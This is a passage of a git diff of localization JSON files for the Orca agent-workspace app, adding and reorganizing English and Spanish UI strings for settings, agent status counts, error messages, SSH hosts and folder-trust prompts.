+          "localLinux": "Local Linux",
+          "thisComputer": "This computer",
+          "host": "Host"
+        },
+        "workspaceBoardStatus": {
+          "todo": "Todo",
+          "inProgress": "In progress",
+          "inReview": "In review",
+          "done": "Done"
+        },
+        "workspaceKanbanStatusLane": {
+          "newWorkspaceInStatus": "New workspace in {{status}}"
+        }
       },
       "shared": {
         "useDaemonActions": {
@@ -7805,6 +8067,21 @@
         }
       },
       "settings": {
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "Keep local main up to date"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "AccountsPane": {
           "locationSaveFailed": "Account location could not be saved. Try again.",
           "dbb9626ed1": "Cancel",
@@ -8030,7 +8307,6 @@
           "5f5142a62a": "Previous icon"
         },
         "AppearancePane": {
-          "3057983501": "Unassigned",
           "b707773a0d": "When enabled, closing the window keeps Orca running in the system tray instead of quitting.",
           "0cd9b8228f": "Choose the app icon shown in the Dock and window switcher.",
           "61d842eca0": "Show the Orca Mobile shortcut in the sidebar. It remains available from Toolbox.",
@@ -8158,6 +8434,9 @@
           "333984cf90": "Use an existing browser session",
           "9895ed44de": "Open computer use"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "Enable agent browser use"
+        },
         "BrowserUseExamples": {
           "1199258ace": "Copy",
           "1188e56af4": "Copy example prompt",
@@ -8398,10 +8677,6 @@
             "modeAriaLabel": "Agent Dashboard open mode",
             "modeInWindow": "In-window",
             "modePopout": "Pop-out"
-          },
-          "browserExtensions": {
-            "copy": "Adds Settings › Browser › Extensions for local browser profiles.",
-            "toggleLabel": "Toggle browser extensions"
           }
         },
         "FloatingWorkspacePane": {
@@ -9058,6 +9333,12 @@
           "emojiTooLongForRepoIcon": "This emoji can't be used as a repo icon.",
           "currentEmojiSelection": "Current: {{value0}}",
           "searchEmojiPlaceholder": "Search emoji",
+          "custom": "Custom",
+          "githubAvatar": "GitHub avatar",
+          "customImage": "Custom image",
+          "emojiDescription": "{{emoji}} emoji",
+          "lucideDescription": "{{label}} icon with repo color",
+          "defaultIcon": "Default",
           "cc76342291": "Use GitHub avatar",
           "43bf3709dd": "Repo icon"
         },
@@ -9171,6 +9452,9 @@
           "d32b87e754": "Use review template when available",
           "981eae7e14": "Draft by default"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "Source control AI"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "Revoking here doesn't stop someone with SSH access to this computer from pairing again. To cut them off, remove their SSH access.",
           "6f6d5188ed": "Revoke {{value0}}",
@@ -9385,7 +9669,8 @@
           "6503182299": "Onboarding checklist",
           "82db1b7de4": "Onboarding checklist, {{value0}} of {{value1}} done. Show setup guide.",
           "df38d612b7": "No projects added yet.",
-          "3e483e256b": "No matching project settings."
+          "3e483e256b": "No matching project settings.",
+          "progressComplete": "{{value0}}/{{value1}} complete"
         },
         "ShortcutFilterRail": {
           "28b63545bf": "Status",
@@ -9534,6 +9819,8 @@
           "bulkProgress": "Removing {{done}} of {{count}}…",
           "bulkConnectedSingular": "{{count}} host is connected. Its remote terminals will be closed.",
           "bulkConnectedPlural": "{{count}} hosts are connected. Their remote terminals will be closed.",
+          "remove": "Remove",
+          "removing": "Removing",
           "916f480036": "Remove SSH target"
         },
         "SshTargetForm": {
@@ -10250,6 +10537,13 @@
             "museUsageDescription": "Show Muse subscription quota in the status bar.",
             "muse": "muse",
             "meta": "meta",
+            "statusBarUsageFormat": {
+              "title": "Usage format",
+              "description": "Customize how each provider’s usage is written in the status bar with placeholders.",
+              "format": "format",
+              "template": "template",
+              "placeholder": "placeholder"
+            },
             "37e6b58b0e": "UI zoom",
             "931c53cd16": "Claude usage",
             "1b404ee6ad": "Show Orca Mobile button",
@@ -10581,13 +10875,6 @@
               "inWindow": "in-window",
               "worktrees": "worktrees",
               "eaf17a7214": "Agent dashboard"
-            },
-            "browserExtensions": {
-              "title": "Browser extensions",
-              "description": "Run Chrome extensions, such as password managers, in Orca browser tabs.",
-              "extension": "extension",
-              "chrome": "chrome",
-              "password": "password manager"
             }
           }
         },
@@ -11765,7 +12052,7 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Trust the folder when Orca starts an agent",
-          "description": "Agents Orca starts can skip their \"Do you trust this folder?\" prompt, so the project's agent hooks and settings run right away. Orca asks once per repository the first time you start an agent there, and you can change the answer in that repository's settings. Turn this off to let agents always ask. An agent that asks while running without you watching, such as an orchestration worker, an automation or an agent started from your phone, waits until you answer in its terminal. Folders already trusted stay trusted."
+          "description": "Agents Orca starts can skip their \"Do you trust this folder?\" prompt, so the project's agent hooks and settings run right away. You can turn this off for one repository in that repository's settings. Turn this off to let agents always ask. An agent that asks while running without you watching, such as an orchestration worker, an automation or an agent started from your phone, waits until you answer in its terminal. Folders already trusted stay trusted."
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "Auto-generate tab titles",
@@ -12084,7 +12371,11 @@
           "deleteAnywayClicked": "Delete Anyway clicked"
         },
         "EphemeralVmRecipeRow": {
-          "useInWorkspace": "Use in workspace"
+          "useInWorkspace": "Use in workspace",
+          "envLimited": "Scripts only receive the variables listed in passEnv, plus PATH, HOME and similar basics.",
+          "envNamesMore": "{{names}} +{{count}} more",
+          "envExposedAllowlist": "Scripts run on this computer and receive these credentials from passEnv: {{names}}.",
+          "envExposedAll": "Scripts run on this computer with your full environment, including {{names}}. Set passEnv on the recipe to pass only what it needs."
         },
         "EphemeralVmRuntimesSection": {
           "cleanupFailed": "Cleanup failed",
@@ -13129,7 +13420,9 @@
           "refusedLeaveBehind": "Some saved items for this host can’t move to its Orca server: {{items}}. Move anyway connects the host and keeps them on this computer.",
           "refusedLeaveBehindUnnamed": "Some saved items for this host can’t move to its Orca server. Move anyway connects the host and keeps them on this computer.",
           "windowsBuildUnsupported": "This host runs a version of Windows older than Windows 10 and Windows Server 2016, so it can’t run Orca’s server. Use a host with a newer version of Windows, or a Linux or macOS host.",
-          "windowsNoExtractor": "This Windows host has neither tar.exe nor PowerShell’s Expand-Archive, so Orca can’t unpack its server there. Install Windows PowerShell 5.1 on the host, then connect again."
+          "windowsNoExtractor": "This Windows host has neither tar.exe nor PowerShell’s Expand-Archive, so Orca can’t unpack its server there. Install Windows PowerShell 5.1 on the host, then connect again.",
+          "linkedProjects": "This host’s Orca server already had {{paths}}, so this desktop now uses the server’s copy. This desktop’s tabs and {{count}} automations there were not moved, and worktrees it created there show as external worktrees.",
+          "olderTerminals": "{{count}} terminals started by an older version of Orca are still running on this host, and they don’t stop on their own. Close them in that version of Orca or end them on the host, then reconnect."
         },
         "ZcodeCliSetupSection": {
           "title": "Use GLM with ZCode",
@@ -13936,26 +14229,24 @@
           "searchHosts": "Search hosts…",
           "searchLanguages": "Search languages…"
         },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "Source control AI"
+        "accountsPaneActionErrors": {
+          "codexSignInTimedOut": "Codex sign-in took too long to finish. Please try again.",
+          "codexSignInUnavailable": "Codex sign-in is temporarily unavailable. Please try again in a minute.",
+          "claudeSignInFailed": "Claude sign-in failed. Please try again."
         },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "Keep local main up to date"
-                    }
-                  }
-                }
-              }
-            }
+        "StatusBarUsageFormatSetting": {
+          "reset": "Reset",
+          "previewLabel": "Preview",
+          "previewBuiltin": "Leave empty to use Orca’s built-in format.",
+          "placeholder": {
+            "provider": "provider name",
+            "plan": "plan (Codex)",
+            "windows": "window percentage",
+            "reset": "time until reset, e.g. 3h 15m",
+            "resetAt": "reset clock time, e.g. 20:50",
+            "buckets": "Gemini model buckets",
+            "optional": "dropped when a placeholder inside is empty"
           }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "Enable agent browser use"
         }
       },
       "right": {
@@ -14966,7 +15257,28 @@
                   "titleManualForcePush_other": "Force push {{count}} local commits with lease to update {{upstreamName}}.",
                   "titleUnpublishedForcePushBranch": "Force push this branch with lease and set an upstream if needed.",
                   "titleUnpublishedForcePushCount_one": "Force push {{count}} branch commit with lease and set an upstream if needed.",
-                  "titleUnpublishedForcePushCount_other": "Force push {{count}} branch commits with lease and set an upstream if needed."
+                  "titleUnpublishedForcePushCount_other": "Force push {{count}} branch commits with lease and set an upstream if needed.",
+                  "statusConflicts": "Conflicts",
+                  "statusNothingStaged": "Nothing staged",
+                  "statusNeedsMessage": "Needs message",
+                  "statusNotPublished": "Not published",
+                  "statusNoBranch": "No branch",
+                  "statusUpToDate": "Up to date",
+                  "statusSetsUpstream": "Sets upstream",
+                  "statusMayFail": "May fail",
+                  "statusPublished": "Published",
+                  "statusStashFirst": "Stash first",
+                  "statusReplaces": "Replaces ↓{{behind}}",
+                  "statusCommitFirst": "Commit first",
+                  "statusReviewOpen": "{{shortLabel}} open",
+                  "statusSignIn": "Sign in",
+                  "statusBaseNotOnRemote": "Base not on remote",
+                  "statusDefaultBranch": "Default branch",
+                  "statusForkUnsupported": "Fork unsupported",
+                  "statusPushFirst": "Push first",
+                  "statusForcePushFirst": "Force push first",
+                  "statusSyncFirst": "Sync first",
+                  "statusUnsupported": "Unsupported"
                 }
               },
               "primary": {
@@ -15590,7 +15902,8 @@
           "yoloPermissionsDescription": "Agents run commands and edit files without asking, and some also bypass their sandbox. Use only in projects you trust.",
           "showMoreAgents_one": "Show {{count}} more agent →",
           "showMoreAgents_other": "Show {{count}} more agents →",
-          "agentNotOnPath": "<agent>{{agent}}</agent> isn't on your PATH yet. Orca will set it as your default and you can install it any time."
+          "agentNotOnPath": "<agent>{{agent}}</agent> isn't on your PATH yet. Orca will set it as your default and you can install it any time.",
+          "showMoreAgents": "Show {{value0}} more agents →"
         },
         "IntegrationsStep": {
           "277f30eb34": "Linear, GitLab, Bitbucket, Azure DevOps, Gitea, and Jira live in Settings > Integrations.",
@@ -15804,7 +16117,8 @@
             "label": "Project",
             "browse": "Browse projects",
             "listLabel": "Projects",
-            "noProjects": "No projects yet."
+            "noProjects": "No projects yet.",
+            "projectDetail": "Project"
           },
           "RunTargetCombobox": {
             "listLabel": "Run targets",
@@ -15815,6 +16129,20 @@
             "recentHeading": "Recent",
             "projectsHeading": "Projects",
             "foldersHeading": "Folders"
+          },
+          "smart": {
+            "workspace": {
+              "empty": {
+                "hint": {
+                  "42997fb707": "Start typing to create a name or find a source.",
+                  "b2bc38e7d7": "Start typing to search GitHub PRs and issues.",
+                  "b1418294ea": "Start typing to search GitLab MRs and issues.",
+                  "80e7791c93": "No matching branches.",
+                  "b4e65d98a6": "Start typing to search Linear issues.",
+                  "5ba5d3e516": "Start typing to search Jira issues, or paste an issue URL."
+                }
+              }
+            }
           }
         }
       },
@@ -16483,6 +16811,26 @@
             "5c3aee22c0": "Copy command",
             "5eca672aac": "Copy skill install command",
             "b8ad063571": "Copied the skill install command."
+          },
+          "feature": {
+            "tip": {
+              "copy": {
+                "1fcdfc5fe8": "New",
+                "f98e9d1bad": "Search every agent session",
+                "990cc29865": "Find any past conversation by what was said in it, then pick up where the agent left off.",
+                "91e2719807": "Turn on session search",
+                "52e9e84809": "Tip",
+                "3eacedec93": "Let agents drive Orca with the Orca CLI",
+                "8d54d0ff53": "Enable agents to coordinate child worktrees and communicate between worktrees.",
+                "0080bc86eb": "Install CLI & Skills",
+                "9b58bc5d7a": "Jump to a worktree with <shortcut>",
+                "655fc3cb5a": "Search worktrees, switch tabs, tweak settings, or spin up a new worktree, all without leaving the keyboard.",
+                "eb5e9e90ec": "Got it",
+                "5221facada": "Dictate into any pane",
+                "5d69275490": "Start voice dictation in any focused pane, then use the shortcut again to stop.",
+                "24aaad376f": "Set up voice dictation"
+              }
+            }
           }
         }
       },
@@ -16661,7 +17009,8 @@
           "showAiNotes_other": "Show {{count}} AI notes",
           "send": "Send",
           "openDiff": "Open diff",
-          "openInEditor": "Open in editor"
+          "openInEditor": "Open in editor",
+          "skippedConflictsExcluded": "{{count}} unresolved conflicts were excluded from this diff view."
         },
         "ConflictComponents": {
           "f338288514": "Loading conflict contents...",
@@ -17476,6 +17825,20 @@
         },
         "MarkdownDefaultViewContextMenu": {
           "label": "Default Markdown View"
+        },
+        "fileLoadError": {
+          "fileNotFound": "ENOENT: no such file or directory, open {{path}}",
+          "pathAccessDenied": "Access denied: path resolves outside allowed directories. If this blocks a legitimate workflow, please file a GitHub issue.",
+          "changedDuringRead": "File changed on disk while it was loading. Reload the file to see the latest version.",
+          "remotePathIsDirectory": "Remote path is a directory",
+          "remotePagedReadUnsupported": "Remote file is larger than the 512 KB this Orca server can send. Update the server to open it.",
+          "remoteFileTooLarge": "Remote file is too large to open in the editor ({{bytes}} bytes)"
+        },
+        "BinaryFileDefaultAppButton": {
+          "downloadFailed": "Failed to download '{{value0}}'.",
+          "open": "Open with default app",
+          "downloadOpen": "Download & open with default app",
+          "openFailed": "No app on this computer opened this file."
         }
       },
       "diff": {
@@ -18747,7 +19110,10 @@
           "markManyUnread_one": "Mark {{count}} Agent Unread",
           "markManyUnread_other": "Mark {{count}} Agents Unread",
           "clearMany_one": "Clear {{count}} Agent from List",
-          "clearMany_other": "Clear {{count}} Agents from List"
+          "clearMany_other": "Clear {{count}} Agents from List",
+          "clearMany": "Clear {{count}} Agents from List",
+          "markManyRead": "Mark {{count}} Agents Read",
+          "markManyUnread": "Mark {{count}} Agents Unread"
         }
       },
       "confirmation": {
@@ -18869,6 +19235,8 @@
           "reloaded": "Reloaded"
         },
         "FolderWorkspaceSourceControl": {
+          "changeCount_one": "{{count}} change",
+          "changeCount_other": "{{count}} changes",
           "openWorktree": "Open this worktree",
           "reconnect": "Reconnect to see this worktree’s changes."
         },
@@ -18926,7 +19294,8 @@
               "noMatches": "No projects match your search.",
               "chooseSource": "Choose task source",
               "hostCount_other": "{{count}} hosts",
-              "hostCount_one": "{{count}} host"
+              "hostCount_one": "{{count}} host",
+              "hostCount": "{{value0}} hosts"
             }
           }
         },
@@ -19052,7 +19421,6 @@
         "status": "Status",
         "priority": "Priority",
         "assignee": "Assignee",
-        "unassigned": "Unassigned",
         "labels": "Labels",
         "countSelected": "{{count}} selected",
         "partialCoverageMarker": "· partial",
@@ -19147,7 +19515,9 @@
         "failingChip": "{{value0}} failing",
         "pendingChip": "{{value0}} pending",
         "needsActionChip": "{{value0}} action required",
-        "unresolvedChip": "{{value0}} unresolved"
+        "unresolvedChip": "{{value0}} unresolved",
+        "noChecks": "No checks found",
+        "passingSummary": "{{value0}} of {{value1}} checks passing"
       },
       "BrowserPane": {
         "streamConnectionLost": "Lost connection to the remote server.",
@@ -19602,17 +19972,21 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "Trust {{repo}} for agents?",
-        "prompt-description": "Agents like Claude Code and Codex ask \"Do you trust this folder?\" before they load the project's own agent settings and hooks, which can run commands. Orca can answer yes for you in every worktree of this repository.",
-        "prompt-remembered": "Orca remembers your answer for this repository. You can change it in the repository's settings.",
         "trust-repository": "Trust repository",
         "let-agents-ask": "Let agents ask",
         "setting-title": "Agent Folder Trust",
         "setting-description": "Whether agents Orca starts in this repository's worktrees skip their \"Do you trust this folder?\" prompt and load the project's agent settings and hooks right away.",
-        "setting-undecided": "Not decided yet. Orca will ask the next time you start an agent here.",
         "setting-global-off": "Folder trust is turned off in Agents settings, so agents always ask.",
         "keyword-trust": "trust",
         "keyword-hooks": "hooks"
+      },
+      "task-page": {
+        "checksPill": {
+          "pipelinePassed": "Pipeline passed",
+          "pipelineFailed": "Pipeline failed",
+          "pipelinePending": "Pipeline pending",
+          "pipelineUnresolved": "Pipeline unresolved"
+        }
       }
     },
     "i18n": {
@@ -19661,6 +20035,16 @@
         "unknownHost": "The machine that owns this repository is not known yet. Reconnect it and try again.",
         "thisComputer": "this computer"
       },
+      "remoteTerminal": {
+        "connectionClosed": "Remote runtime connection closed.",
+        "streamClosed": "Remote terminal stream closed.",
+        "streamEnded": "Remote terminal stream ended.",
+        "streamStopped": "Remote terminal stream stopped responding."
+      },
+      "jira": {
+        "currentSprintNeedsUpdate": "Update the remote Orca server to filter preset issues by current sprint.",
+        "transitionFieldsNeedsUpdate": "Update the remote Orca server to submit required transition fields, or complete the transition in Jira."
+      },
       "runtimeGitSyncClient": {
         "completeMergeNeedsNewerHost": "Completing a merge needs a newer Orca on this host. Update Orca on that host."
       },
@@ -19712,6 +20096,13 @@
           "paste": "Paste",
           "pasteAsPlainText": "Paste as plain text",
           "addToDictionary": "Add to dictionary"
+        },
+        "dashboard": {
+          "popout": {
+            "window": {
+              "title": "Orca Agent Dashboard"
+            }
+          }
         }
       },
       "ipc": {
@@ -19840,7 +20231,7 @@
         "chat": {
           "label": "Chat UI",
           "description": "Agents reply in a chat, with rendered messages and diffs.",
-          "terminalFallback": "Agents without chat support, and SSH or WSL projects, still open in a terminal.",
+          "terminalFallback": "Agents without chat support and folders opened through SSH or WSL on this computer still open in a terminal.",
           "noneDetected": "None of your detected agents work in Chat UI."
         },
         "terminal": {
@@ -20119,7 +20510,8 @@
         "unchanged": "Tasks unchanged",
         "showAll": "Full task list",
         "progress_one": "{{completed}} of {{count}} task completed",
-        "progress_other": "{{completed}} of {{count}} tasks completed"
+        "progress_other": "{{completed}} of {{count}} tasks completed",
+        "progress": "{{completed}} of {{total}} tasks completed"
       },
       "turnDiff": {
         "partial": "Partial diff",
@@ -20454,6 +20846,14 @@
         "stateIdleCount_other": "{{value0}} stopped",
         "stateUnverifiableCount_one": "{{value0}} with status unavailable",
         "stateUnverifiableCount_other": "{{value0}} with status unavailable",
+        "headerTotal": "{{value0}} background tasks",
+        "stateBlockedCount": "{{value0}} blocked",
+        "stateDoneCount": "{{value0}} done",
+        "stateIdleCount": "{{value0}} stopped",
+        "stateMonitoringCount": "{{value0}} monitoring",
+        "stateUnverifiableCount": "{{value0}} with status unavailable",
+        "stateWaitingCount": "{{value0}} waiting",
+        "stateWorkingCount": "{{value0}} working",
         "showAgent": "Show {{value0}} in the conversation"
       },
       "jumpToLatest": "Jump to latest",
@@ -20531,7 +20931,8 @@
         "awaitingUnnamed": "Awaiting user input",
         "asked": "Asked:",
         "questionCount_other": "{{count}} questions",
-        "questionCount_one": "{{count}} question"
+        "questionCount_one": "{{count}} question",
+        "questionCount": "{{value0}} questions"
       },
       "approval": {
         "title": "Allow {{value0}}?",
@@ -20565,7 +20966,12 @@
           "stoppedCount_one": "{{count}} stopped",
           "stoppedCount_other": "{{count}} stopped",
           "unverifiableCount_one": "{{count}} with status unavailable",
-          "unverifiableCount_other": "{{count}} with status unavailable"
+          "unverifiableCount_other": "{{count}} with status unavailable",
+          "failedCount": "{{value0}} failed",
+          "idleCount": "{{value0}} idle",
+          "stoppedCount": "{{value0}} stopped",
+          "unverifiableCount": "{{value0}} with status unavailable",
+          "workingCount": "{{value0}} working"
         },
         "tokens": "{{value0}} tokens",
         "unnamed": "Subagent",
@@ -20707,7 +21113,8 @@
         "queued": "Queued",
         "clearAll": "Clear all",
         "editReturned": "Your edit is in the chat box.",
-        "commandsUnsupported": "Commands can't be saved in a queued message."
+        "commandsUnsupported": "Commands can't be saved in a queued message.",
+        "imageCount": "{{count}} images"
       },
       "thought": "Thought",
       "thoughtForDuration": "Thought for {{duration}}",
@@ -21851,6 +22258,38 @@
         "terminal": "Terminal"
       }
     },
+    "toastFallbacks": {
+      "filesDropFailed": "Failed to drop files.",
+      "filesUploadFailed": "Failed to upload files.",
+      "filesResolveDroppedFailed": "Failed to resolve dropped files.",
+      "markdownCreateFailed": "Failed to create untitled markdown file.",
+      "markdownOpenFailed": "Failed to open markdown file.",
+      "fileDuplicateFailed": "Failed to duplicate '{{name}}'.",
+      "fileCreateFailed": "Failed to create '{{name}}'.",
+      "fileMoveFailed": "Failed to move '{{name}}'.",
+      "fileRenameFailed": "Failed to rename '{{name}}'.",
+      "worktreeCreateFailed": "Failed to create worktree.",
+      "missingBaseBranchHelp": "Create an initial commit (for example on main), or select an existing branch in Create From, then try again.",
+      "dropTooManyPaths": "Drop contains too many paths.",
+      "dropPathsTooLarge": "Drop path list is too large.",
+      "fileOwnerResolveFailed": "Failed to resolve file owner."
+    },
+    "agentNotes": {
+      "targetSelected": "selected",
+      "targetActive": "active",
+      "empty": "No notes to send.",
+      "selectedTerminalUnavailable": "The selected terminal is no longer available.",
+      "activeTerminalUnavailable": "Open the agent terminal in this worktree, then send the notes again.",
+      "notAgentSession": "The {{target}} terminal is not a recognized agent session.",
+      "selectedAgentNeedsPermission": "The selected agent needs permission.",
+      "activeAgentNeedsPermission": "The active agent needs permission.",
+      "statusUnverified": "The {{target}} agent status could not be verified.",
+      "notReady": "The {{target}} agent was not ready for input yet.",
+      "notWritable": "The {{target}} agent did not accept the notes.",
+      "selectedSubmitFailed": "The notes may already be pasted in the selected terminal, but Orca could not submit them.",
+      "activeSubmitFailed": "The notes may already be pasted in the active terminal, but Orca could not submit them.",
+      "notWritableSelection": "The {{target}} agent did not accept the selection."
+    },
     "dictation": {
       "stoppedAfterSilenceSeconds": "Stopped after {{seconds}} seconds of silence"
     }
@@ -22493,7 +22932,7 @@
       "description": "Search everything your agents have said and done, on this computer and on any paired Orca server.",
       "searchDescription": "Turn on session search for this computer and paired servers, or clear search data.",
       "indexComputers": "Search inside sessions",
-      "computersConsent": "Each computer keeps a searchable copy of its own agent conversations. Nothing leaves that computer.",
+      "computersConsent": "Each computer keeps its own searchable index of agent conversations. Authenticated paired clients can receive search results.",
       "serverVersion": "Orca v{{version}}",
       "rowSwitchLabel": "Search sessions on {{host}}",
       "serverOffline": "Offline",
@@ -22561,7 +23000,8 @@
   },
   "common": {
     "retry": "Retry",
-    "cancel": "Cancel"
+    "cancel": "Cancel",
+    "unassigned": "Unassigned"
   },
   "terminal": {
     "sessionSaveFailure": {
@@ -22641,7 +23081,10 @@
       "reopened_one": "Reopened {{count}} terminal",
       "reopened_other": "Reopened {{count}} terminals",
       "resumed_one": "{{count}} agent session resumed.",
-      "resumed_other": "{{count}} agent sessions resumed."
+      "resumed_other": "{{count}} agent sessions resumed.",
+      "reopenTerminal": "Reopen {{count}} terminals",
+      "reopened": "Reopened {{count}} terminals",
+      "resumed": "{{count}} agent sessions resumed."
     },
     "stalledDaemonBanner": {
       "body": "Background work on this computer is stalled. Typing and new terminals may not work. Restarting the terminal service ends its running terminals and commands.",
@@ -22663,7 +23106,8 @@
       "cancel": "Cancel",
       "confirm": "Restart and end processes",
       "count_one": "{{count}} running terminal",
-      "count_other": "{{count}} running terminals"
+      "count_other": "{{count}} running terminals",
+      "count": "{{count}} running terminals"
     },
     "restartedInputNotSent": "The terminal restarted while you were typing, so some input may not have reached it. Check the new shell before typing it again.",
     "typingBeforeStartNotSent": "Some keys typed while the terminal was starting were not sent.",
@@ -24786,5 +25230,20 @@
       "dismiss": "Dismiss",
       "cancelDownload": "Cancel download"
     }
+  },
+  "renderer": {
+    "lib": {
+      "filePreview": {
+        "remoteFileUnsupported": "Open in Orca Browser is only available for local files.",
+        "twinFileUnsupported": "This project is on more than one host, so Orca cannot tell which copy to open."
+      }
+    }
+  },
+  "nestedImport": {
+    "error": {
+      "notInScan": "Repository was not found in the nested repository scan result",
+      "notGitRepository": "Not a valid Git repository",
+      "importFailed": "Repository could not be imported"
+    }
   }
 }
diff --git a/src/renderer/src/i18n/locales/es.json b/src/renderer/src/i18n/locales/es.json
index ccf9c77f2ad..1b23d9cf3b0 100644
--- a/src/renderer/src/i18n/locales/es.json
+++ b/src/renderer/src/i18n/locales/es.json
@@ -40,7 +40,7 @@
     "chat": {
       "permissionsAgentsLink": "Configuración → Agentes",
       "permissionsTitle": "Permisos para chats nuevos",
-      "permissionsDescription": "Solo para chats nuevos. Los valores predeterminados de cada agente están en Configuración → Agentes.",
+      "permissionsDescription": "Se aplica solo a chats nuevos. Los agentes que abres en una terminal usan Configuración → Agentes → Permisos de agentes.",
       "description": "Elige cómo se ven y se comportan los chats.",
       "names": {
         "title": "Nombres de chats",
@@ -209,6 +209,21 @@
         "terminalControlledTooltip": "Coincide con la interfaz del terminal. Desactiva Usar la interfaz del terminal para cambiarlo.",
         "fontKeywordTypeface": "tipo de letra",
         "fontKeywordTypography": "tipografía"
+      },
+      "editorTheme": {
+        "light": "Tema claro del editor",
+        "lightDescription": "Colores del editor de código, las diferencias y los cuadernos con el tema claro de la aplicación.",
+        "dark": "Tema oscuro del editor",
+        "darkDescription": "Colores del editor de código, las diferencias y los cuadernos con el tema oscuro de la aplicación.",
+        "followApp": "Igual que el tema de la aplicación",
+        "title": "Tema del editor",
+        "description": "Colores del editor de código, las diferencias y los cuadernos, independientemente del tema de la aplicación.",
+        "keyword": {
+          "editor": "editor",
+          "code": "código",
+          "monaco": "monaco",
+          "syntax": "sintaxis"
+        }
       }
     },
     "browser": {
@@ -414,6 +429,7 @@
       "defaultSurfaceSetAllChat": "Poner todos en Chat",
       "defaultSurfaceSetAllTerminal": "Poner todos en Terminal",
       "sameAsChoice": "Igual que {{agent}} · {{choice}}",
+      "modelListFallback": "Lista integrada. Orca no pudo obtener una lista de modelos de este host.",
       "chatUnavailableOnWindows": "{{value0}} Chat aún no está disponible en Windows, así que {{value0}} se abre en una terminal en este host. Los chats en un host macOS o Linux siguen funcionando.",
       "undetectedCommandHint": "Si la CLI de {{agent}} está instalada fuera de PATH, introduce la ruta completa a su ejecutable en este host."
     },
@@ -1441,6 +1457,39 @@
         "title": "Agrega las carpetas de unidades de Windows en este equipo",
         "descriptionWithPath": "{{value0}} está en una unidad de Windows. Git en WSL informa allí de cambios de final de línea falsos, no detecta las ediciones hechas desde Windows y busca en ella lentamente.",
         "description": "Esta carpeta está en una unidad de Windows. Git en WSL informa allí de cambios de final de línea falsos, no detecta las ediciones hechas desde Windows y busca en ella lentamente."
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "Registra {{path}} para usar Orca desde WSL.",
+          "registerForTerminal": "Registra {{path}} para usar Orca desde la terminal.",
+          "registerForWindowsShell": "Registra {{path}} para usar Orca desde el Símbolo del sistema o PowerShell.",
+          "devLauncherOnly": "El modo de desarrollo usa un lanzador generado solo para validación.",
+          "differentLauncher": "{{path}} apunta a un lanzador diferente.",
+          "launcherMissing": "Falta el lanzador de la CLI incluido en esta compilación de Orca.",
+          "noWslDistro": "No hay ninguna distribución de WSL disponible.",
+          "notOrcaLauncherScript": "{{path}} existe, pero no es un script de lanzamiento de Orca.",
+          "notOrcaSymlink": "{{path}} existe, pero no es un enlace simbólico de Orca.",
+          "olderLauncher": "{{path}} contiene un lanzador de Orca más antiguo.",
+          "platformUnsupported": "El registro de la CLI no está implementado en esta plataforma.",
+          "readlinkPermissionDenied": "Orca no tiene permiso para inspeccionar {{path}}. Comprueba los permisos de la ruta y de su directorio principal e inténtalo de nuevo.",
+          "registeredAt": "Registrado en {{path}}.",
+          "registeredInDistroAt": "Registrado en {{distro}} en {{path}}.",
+          "registrationUnavailable": "El registro de la CLI no está disponible en esta compilación.",
+          "unreadableSymlink": "No se puede leer {{path}}. Vuelve a registrarlo para repararlo.",
+          "windowsLauncherMissing": "Falta el lanzador de la CLI de Orca para Windows.",
+          "windowsPathCheckFailed": "El lanzador de Orca existe, pero Orca no pudo comprobar el PATH de tu usuario de Windows.",
+          "windowsPathTimedOut": "El comando del PATH de Windows agotó el tiempo de espera tras {{ms}} ms.",
+          "wslCommandTimedOut": "El comando de WSL agotó el tiempo de espera tras {{ms}} ms.",
+          "wslDistroUnreachable": "No se pudo contactar con la distribución de WSL. Inténtalo de nuevo.",
+          "wslHomeUnresolved": "No se pudo resolver el directorio principal de WSL.",
+          "wslInteropUnavailable": "La interoperabilidad de WSL con Windows no está disponible; Orca no puede iniciar la CLI de Windows desde WSL.",
+          "wslRegistrationUnavailable": "El registro de la CLI de WSL no está disponible.",
+          "wslWindowsOnly": "El registro de la CLI de WSL solo está disponible en Windows."
+        }
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "{{shortcut}}+clic para abrir en el navegador del sistema",
+        "tooltip": "{{label}}. {{hint}}"
       }
     },
     "hooks": {
@@ -1455,7 +1504,8 @@
         "5f3d2c8a1b": "Error al resolver la base del MR",
         "dropPartiallyAttached_one": "No se pudo adjuntar {{failureCount}} de {{count}} elemento.",
         "dropPartiallyAttached_other": "No se pudieron adjuntar {{failureCount}} de {{count}} elementos.",
-        "dropPartiallyAttached_many": "No se pudieron adjuntar {{failureCount}} de {{count}} elementos."
+        "dropPartiallyAttached_many": "No se pudieron adjuntar {{failureCount}} de {{count}} elementos.",
+        "dropPartiallyAttached": "No se pudieron adjuntar {{failureCount}} de {{count}} elementos."
       },
       "useGlobalFileDrop": {
         "38c9f034ff": "No se pudieron cargar los archivos soltados.",
@@ -1472,7 +1522,8 @@
         "nativeDropTempCopyFailed_other": "Orca no pudo copiar {{count}} archivos soltados.",
         "nativeDropTempCopyFailed_many": "Orca no pudo copiar {{count}} archivos soltados.",
         "hostMismatch": "Este editor está en otro host. Abre el archivo desde su espacio de trabajo de origen.",
-        "workspaceOpenFailed": "No se pudo abrir {{fileName}}. Ábrelo desde su espacio de trabajo de origen e inténtalo de nuevo."
+        "workspaceOpenFailed": "No se pudo abrir {{fileName}}. Ábrelo desde su espacio de trabajo de origen e inténtalo de nuevo.",
+        "nativeDropTempCopyFailed": "Orca no pudo copiar {{count}} archivos soltados."
       },
       "useIpcEvents": {
         "0e3cf53060": "Pestaña del navegador {{value0}} no encontrada",
@@ -2039,7 +2090,6 @@
         "23886c7eec": "Agregar etiqueta",
         "7f7b89b631": "Etiquetas: {{value0}}",
         "b2376d0179": "Cargando miembros",
-        "866316f22c": "Sin asignar",
